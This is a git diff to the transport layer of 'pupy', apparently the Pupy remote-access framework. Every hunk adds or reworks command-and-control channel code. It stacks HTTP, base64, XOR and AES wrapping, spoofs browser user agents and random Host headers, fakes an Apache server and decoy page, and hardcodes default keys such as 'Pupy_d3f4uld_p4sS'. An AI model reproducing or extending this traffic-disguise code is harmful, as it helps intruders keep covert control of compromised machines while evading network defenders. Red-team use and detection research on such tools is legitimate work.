diff --git a/pupy/network/base.py b/pupy/network/base.py index e7b2cbc8..ef6f76d6 100644 --- a/pupy/network/base.py +++ b/pupy/network/base.py @@ -42,10 +42,15 @@ class BasePupyTransport(object): NewSubClass = type('CustomizedTransport', (cls,), kwargs) return NewSubClass + @classmethod + def custom(cls, **kwargs): + return cls.customize(**kwargs) + @classmethod def set(cls, **kwargs): return cls.customize(**kwargs) + def on_connect(self): """ We just established a connection. Handshake time ! :-) diff --git a/pupy/network/conf.py b/pupy/network/conf.py index 5c307323..9016f002 100644 --- a/pupy/network/conf.py +++ b/pupy/network/conf.py @@ -74,6 +74,18 @@ transports["ssl_proxy"]={ "client_transport_kwargs": {}, "server_transport_kwargs": {}, } +transports["ssl_aes"]={ + "info" : "TCP transport wrapped with SSL and AES", + "server" : PupyTCPServer, + "client": PupySSLClient, + "client_kwargs" : {}, + "authenticator" : ssl_authenticator, + "stream": PupySocketStream , + "client_transport" : AES256.set(iterations=10000), + "server_transport" : AES256.set(iterations=10000), + "client_transport_kwargs": {"password" : "Pupy_d3f4uld_p4sS"}, + "server_transport_kwargs": {"password" : "Pupy_d3f4uld_p4sS"}, + } transports["tcp_cleartext"]={ "info" : "Simple TCP transport transmitting in cleartext", "server" : PupyTCPServer, @@ -111,7 +123,7 @@ transports["tcp_base64"]={ "server_transport_kwargs": {}, } -transports["sync_http_cleartext"]={ #TODO fill with empty requests/response between each request/response to have only a following of req/res and not unusual things like req/req/req/res/res/req ... +transports["http_cleartext"]={ #TODO fill with empty requests/response between each request/response to have only a following of req/res and not unusual things like req/req/req/res/res/req ... "info" : "TCP transport using HTTP with base64 encoded payloads (synchrone with Keep-Alive headers and one 3-way-handshake)", "server" : PupyTCPServer, "client": PupyTCPClient, @@ -123,6 +135,24 @@ transports["sync_http_cleartext"]={ #TODO fill with empty requests/response betw "client_transport_kwargs": {}, "server_transport_kwargs": {}, } +transports["http_aes"]={ + "info" : "TCP transport using HTTP+AES", + "server" : PupyTCPServer, + "client": PupyTCPClient, + "client_kwargs" : {}, + "authenticator" : None, + "stream": PupySocketStream , + "client_transport" : chain_transports( + PupyHTTPClient.custom(keep_alive=True), + AES256.custom(password=scramblesuit_passwd, iterations=10000) + ), + "server_transport" : chain_transports( + PupyHTTPServer, + AES256.set(password=scramblesuit_passwd, iterations=10000) + ), + "client_transport_kwargs": {}, + "server_transport_kwargs": {}, + } transports["tcp_aes"]={ "info" : "TCP transport that encodes traffic using AES256 with a static password hashed with PBKDF2", "server" : PupyTCPServer, @@ -135,7 +165,9 @@ transports["tcp_aes"]={ "client_transport_kwargs": {"password": "pupy_t3st_p4s5word"}, "server_transport_kwargs": {"password": "pupy_t3st_p4s5word"}, } -transports["test_stacking"]={ + + +transports["trololo"]={ "info" : "test wrapping", "server" : PupyTCPServer, "client": PupyTCPClient, @@ -143,23 +175,28 @@ transports["test_stacking"]={ "authenticator" : None, "stream": PupySocketStream , "client_transport" : chain_transports( - PupyHTTPClient, - AES256.set(password="toto123", iterations=10000), - XOR.set(xorkey="trololo"), - AES128.set(password="plop123", iterations=10000), - B64Client, + PupyHTTPClient.custom(method="POST", user_agent="Mozilla 5.0", keep_alive=True), + B64Transport, + PupyHTTPClient.custom(method="GET", user_agent="Mozilla-ception", keep_alive=True), + XOR.set(xorkey="trololo"), + AES256.custom(password="plop2", iterations=10000), + AES128.custom(password="plop1", iterations=10000), ), "server_transport" : chain_transports( + PupyHTTPServer.custom(response_code="418 I'm a teapot"), + B64Transport, PupyHTTPServer, - AES256.set(password="toto123", iterations=10000), XOR.set(xorkey="trololo"), - AES128.set(password="plop123", iterations=10000), - B64Server, + AES256.set(password="plop2", iterations=10000), + AES128.set(password="plop1", iterations=10000), ), "client_transport_kwargs": {}, "server_transport_kwargs": {}, } + + + transports["async_http_cleartext"]={ "info" : "TCP transport using HTTP with base64 encoded payloads (asynchrone with client pulling the server and multiple 3-way handshakes (slow))", "server" : PupyAsyncTCPServer, @@ -167,7 +204,7 @@ transports["async_http_cleartext"]={ "client_kwargs" : {}, "authenticator" : None, "stream": PupyAsyncTCPStream , - "client_transport" : PupyHTTPClient, + "client_transport" : PupyHTTPClient.set(keep_alive=False), "server_transport" : PupyHTTPServer, "client_transport_kwargs": {}, "server_transport_kwargs": {}, diff --git a/pupy/network/transports/http.py b/pupy/network/transports/http.py index 2789f648..09b2b6d8 100644 --- a/pupy/network/transports/http.py +++ b/pupy/network/transports/http.py @@ -15,32 +15,7 @@ class InvalidHTTPReq(Exception): class MalformedData(Exception): pass -def data2http_req(data, headers): - request="GET /%s HTTP/1.1\r\n"%base64.b64encode(data) - for name, value in headers.iteritems(): - request+="%s: %s\r\n"%(name, value) - request+="\r\n" - return request -def http_req2data(s): - if not s.startswith("GET "): - raise InvalidHTTPReq() - first_line=s.split("\r\n")[0] - if not first_line.endswith(" HTTP/1.1"): - raise InvalidHTTPReq() - method, path, http_ver=first_line.split() - try: - decoded_data=base64.b64decode(path[1:]) - except: - raise MalformedData("can't decode b64") - cookie=None - try: - for line in s.split("\r\n"): - if line.startswith("Cookie"): - cookie=(line.split(":",1)[1]).split("=")[1].strip() - except: - pass - return decoded_data, cookie error_response_body="""

It works!

@@ -61,15 +36,19 @@ class PupyHTTPTransport(BasePupyTransport): pass class PupyHTTPClient(PupyHTTPTransport): - client=True #to start polling + client=True + method="GET" + keep_alive=True + path="/" + user_agent="Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" + host=None # None for random def __init__(self, *args, **kwargs): PupyHTTPTransport.__init__(self, *args, **kwargs) - self.headers=OrderedDict({ - "Host" : "www."+''.join(random.choice(string.ascii_lowercase) for _ in range(0, random.randint(7,10)))+".com", - "User-Agent" : "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36", - "Connection" : "keep-alive", - }) - + self.headers={"User-Agent" : self.user_agent} + if self.host is not None: + self.headers["Host"]=self.host + if not "Host" in self.headers: + self.headers["Host"]="www."+''.join(random.choice(string.ascii_lowercase) for _ in range(0, random.randint(7,10)))+".com" def upstream_recv(self, data): """ @@ -80,9 +59,16 @@ class PupyHTTPClient(PupyHTTPTransport): d=data.peek() if data.cookie is not None: self.headers['Cookie']="PHPSESSID=%s"%data.cookie - encoded_data=data2http_req(d, self.headers) + + request="%s %s%s HTTP/1.1\r\n"%(self.method, self.path, base64.b64encode(d)) + for name, value in self.headers.iteritems(): + request+="%s: %s\r\n"%(name, value) + if self.keep_alive: + request+="Connection: keep-alive\r\n" + request+="\r\n" + data.drain(len(d)) - self.downstream.write(encoded_data) + self.downstream.write(request) except Exception as e: logging.debug(e) @@ -93,13 +79,13 @@ class PupyHTTPClient(PupyHTTPTransport): d=data.peek() decoded_data=b"" #let's parse HTTP responses : - if d.startswith("HTTP/1.1 200 OK\r\n") and "\r\n\r\n" in d: + if d.startswith("HTTP/1.1 ") and "\r\n\r\n" in d: while len(d)>0: try: head, rest=d.split("\r\n\r\n", 1) - fl, headers=head.split("\r\n",1) + fl, rheaders=head.split("\r\n",1) content_length=None - for name, value in [[i.strip() for i in x.split(":",1)] for x in headers.split("\r\n")]: + for name, value in [[i.strip() for i in x.split(":",1)] for x in rheaders.split("\r\n")]: if name=="Content-Length": content_length=int(value) break @@ -118,8 +104,14 @@ class PupyHTTPClient(PupyHTTPTransport): class PupyHTTPServer(PupyHTTPTransport): client=False + response_code="200 OK" + server_header="Apache" def __init__(self, *args, **kwargs): PupyHTTPTransport.__init__(self, *args, **kwargs) + self.headers={ + "Content-Type" : "text/html; charset=utf-8", + "Server" : self.server_header, + } def upstream_recv(self, data): """ @@ -128,9 +120,9 @@ class PupyHTTPServer(PupyHTTPTransport): try: d=data.peek() encoded_data=base64.b64encode(d) - response="HTTP/1.1 200 OK\r\n" - response+="Server: Apache\r\n" - response+="Content-Type: text/html; charset=utf-8\r\n" + response="HTTP/1.1 %s\r\n"%self.response_code + for name, value in self.headers.iteritems(): + response+="%s: %s\r\n"%(name, value) response+="Content-Length: %s\r\n"%len(encoded_data) response+="\r\n" response+=encoded_data @@ -139,6 +131,26 @@ class PupyHTTPServer(PupyHTTPTransport): except Exception as e: logging.debug(e) + def http_req2data(self, s): + if not s.startswith(("GET ", "POST ", "HEAD ", "PUT ")): + raise InvalidHTTPReq() + first_line=s.split("\r\n")[0] + if not first_line.endswith(" HTTP/1.1"): + raise InvalidHTTPReq() + method, path, http_ver=first_line.split() + try: + decoded_data=base64.b64decode(path[1:]) + except: + raise MalformedData("can't decode b64") + cookie=None + try: + for line in s.split("\r\n"): + if line.startswith("Cookie"): + cookie=(line.split(":",1)[1]).split("=")[1].strip() + except: + pass + return decoded_data, cookie + def downstream_recv(self, data): """ HTTP requests to raw data @@ -152,7 +164,7 @@ class PupyHTTPServer(PupyHTTPTransport): for req in tab: try: if req: - newdata, cookie = http_req2data(req) + newdata, cookie = self.http_req2data(req) decoded_data+=newdata data.cookie=cookie data.drain(len(req)+4) @@ -167,4 +179,3 @@ class PupyHTTPServer(PupyHTTPTransport): self.upstream.write(decoded_data) except Exception as e: logging.debug(e) -